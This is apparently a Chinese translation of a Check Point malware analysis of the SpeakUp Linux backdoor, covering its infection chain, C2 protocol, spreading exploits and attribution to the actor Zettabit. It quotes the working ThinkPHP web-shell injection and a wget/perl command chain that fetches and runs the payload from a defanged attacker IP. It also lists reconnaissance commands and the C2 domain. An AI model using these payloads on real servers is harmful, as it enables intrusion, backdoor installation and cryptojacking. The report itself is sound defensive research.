Check Point研究人员近期发现一个新的利用Linux服务器漏洞来植入新后门木马的攻击活动。
这起攻击活动利用6个不同Linux发行版中已知漏洞的木马漏洞活动被命名为SpeakUp。
攻击活动的目标为包括AWS主机在内的世界范围内的服务器。
Check Point研究人员发现这起利用Linux服务器漏洞来植入新后门的攻击活动可以绕过所有的安全产品。植入的后门被命名为SpeakUp,是以其中的一个C2服务器名字来命名的,该木马可以利用6个不同的Linux发布版中的已知漏洞。攻击的主要目标为东亚和拉美地区的Linux服务器,包括位于ASW上的主机。
SpeakUp可以利用远程代码执行漏洞在受感染的主机所在的内网中进行传播,并超过新的IP范围。除此之外,SpeakUp还可以用未检测到的木马感染Mac设备。
截止目前,还不能完全确定背后的攻击者。但研究人员根据该攻击活动与其他恶意软件的一些共同点将SpeakUp与Zettabit的开发者进行了关联。
图1: SpeakUp受害者分布
图2: SpeakUp的增长率(每天)
感染向量
最开始的感染向量是thinkphp的一个漏洞,使用命令注入技术来上传PHP脚本来服务和执行Perl后门。
漏洞利用一共分为3个步骤:
1、利用CVE-2018-20062来上传PHP shell
使用GET请求,将ThinkPHP (CVE-2018-20062)的远程代码执行漏洞发送到目标服务器:
s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<? php $action = $_GET[‘module’];system($action);? ^>>index.php
shell会通过query中的module参数来执行发送的命令。
2、后门
发送另一个HTTP请求到目标服务器:
/?module=wget hxxp://67[.]209.177.163/ibus -O /tmp/e3ac24a0bcddfacd010a6c10f4a814bc
上面的标准注入会推送ibus payload并存储到位置/tmp/e3ac24a0bcddfacd010a6c10f4a814bc
3、启动后门
使用下面的HTTP请求来执行:
/?module=perl /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc;sleep 2;rm -rf /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc
执行perl脚本,休眠2秒钟,并删除该文件来移除痕迹。
后门
研究人员分析的样本来自于2019年1月14日攻击我国的一台机器,该样本最早于2019年1月9日被上传到VirusTotal。截止目前,引擎并没有检测到该文件是恶意的。
图3: Virus Total对SpeakUp的检测
第二阶段的payload是用加盐的base64编码的。而且,C2通信也是用相同的方式编码的。
发现的数据含有多个C2域名、IP地址和其他唯一参数,以及第二阶段payload和其他模块。
下面分析木马在受害者机器上运行的恶意代码、不同的函数和模块等。
受害者注册
SpeakUp使用POST和GET请求来与C2通信,C2是被黑的speakupomaha[.]com.。
第一个post请求会发送受害者ID和其他介绍性的信息,比如安装的脚本的当前版本等。
对应的C2响应是needrgr,表示受感染的受害者之前未在服务器上注册,需要注册。
之后,木马会通过执行以下的Linux命令来POST机器的全部信息:
· Uname (-r, -v, -m, -n,-a, -s)
· Whoami
· Ifconfig –a
· Arp –a
· cat /proc/cpuinfo | grep -c “cpu family” 2>&1
· who –b
图4: 注册过程和介绍命令
SpeakUp主函数
注册过程完成后,SpeakUp会继续与C2通信。
下面是C2的命令类型:
· “newtask”- 在本地机器上执行任意代码,从远程服务器下载和执行文件,杀掉或卸载程序,发送未更新的指纹数据。
· “notask”- 休眠3秒,并请求其他命令。
· newerconfig”- 更新下载的挖矿机配置文件。
· SpeakUp的驻留是通过cron和内部mutex来保证的。
感染后流量
受害者成功注册后,C2会发送新的任务。大多数的C2服务器会操作受害者机器来下载和执行不同的文件。
有一个需要注意的点是使用User-Agent用户代理。SpeakUp定义了三个用户代理,受害者机器在与C2服务器进行通信时必须使用定义的这三个代理。其中两个代理是MacOS X User-Agent,第三个是哈希的字符串:
· Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/BADDAD
· Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405
· E9BC3BD76216AFA560BFB5ACAF5731A3
图5: SpeakUp的请求是用加盐的base64加密的,并且包含唯一的用户代理
此时,SpeakUp服务于XMRig挖矿机来监听受感染的服务器。根据XMRHunter的数据,钱包中大概有107个门罗币。
图6: SpeakUp接收额外的命令来执行
繁殖传播
SpeakUp用i(sic)装备了后门,i是一个允许后门来扫描和感染位于内网和外网的Linux服务器的python脚本。其主要功能有:
· 用预定义的用户名和密码来暴力破解尝试登陆Admin面板;
· 扫描受感染的机器所在的网络缓解,检查位于相同内部和外部子网的服务器上特定端口的可用性;
· 尝试利用目标服务器上的远程代码执行漏洞:
a) CVE-2012-0874: JBoss Enterprise Application Platform多安全绕过漏洞。
b) CVE-2010-1871: JBoss Seam Framework远程代码执行。
c) JBoss AS 3/4/5/6: 远程代码执行。
d) CVE-2017-10271: Oracle WebLogic wls-wsat Component Deserialization RCE。
e) CVE-2018-2894: Oracle Fusion Middleware的Oracle WebLogic服务器漏洞。
f) Hadoop YARN ResourceManager – 命令执行。
g) CVE-2016-3088: Apache ActiveMQ文件服务器文件上传远程代码执行漏洞。
以上任一漏洞的成功利用都会导致ibus脚本的应用。
攻击者身份
Ibus client for Unix OS
在ibus脚本中,研究人员发现IBus client for GNU Emacs的尖端描述。IBus client是用于Linux和Unix操作系统的开源多语言输入框架。该框架支持除了拉丁字母外的所有语言,也就是说其主要用户是亚洲用户。描述和文件名是唯一的将SpeakUp和Ibus框架联系在一起的元素,内容上没有什么相似之处。
这也暗示SpeakUp和东亚地区之间的联系。
用户代理
SpeakUp和C2之间的HTTP通信使用的用户代理是攻击活动背后的攻击者身份的暗示。这些特殊的字符串主要有“Mobile/BADDAD“, “Mobile/7B405”,和“E9BC3BD76216AFA560BFB5ACAF5731A3”。
有趣的是该字符串最终变成了单词liteHTTP的md5哈希值。 liteHTTP 是基于C#的僵尸主机,主要攻击Windows客户端,其模块与SpeakUp木马有些相似:
· 下载和执行
· 启动(驻留)
· 收集系统信息,包括操作系统、版本、安装位置等
· 自更新
· 卸载
该项目是由用户zettabithf创建的,在Hack Forums上有一个相同的用户名。
图7: Zettabit在Hack Forums上的用户描述
Hack Forums上的用户简介暗示SpeakUp后门的作者是说俄语的,因为许多注释都使用的是俄语。他好像也是僵尸网络的开发者,因为在推介LiteHTTP僵尸主机。
另一个需要注意的是在许多post中都使用了Knock,而且在SpeakUp的代码中也多次出现了Knock。
图8、图9: 出现Knock的截屏
结论
SpeakUp的混淆的payload和自我繁殖技术无疑是一个正在扩展的威胁。很难想象构建如此负载的payload只是为了挖矿。攻击活动背后的攻击者未来可能会用这些payload进行更多的攻击活动。因为木马可以扫描受感染的服务器的内网和外网,并传播恶意软件。该攻击活动才出现不久,未来会不断地发展并带来更大的危害。
攻击者Zettabithf的一句话值得我们学习和深思: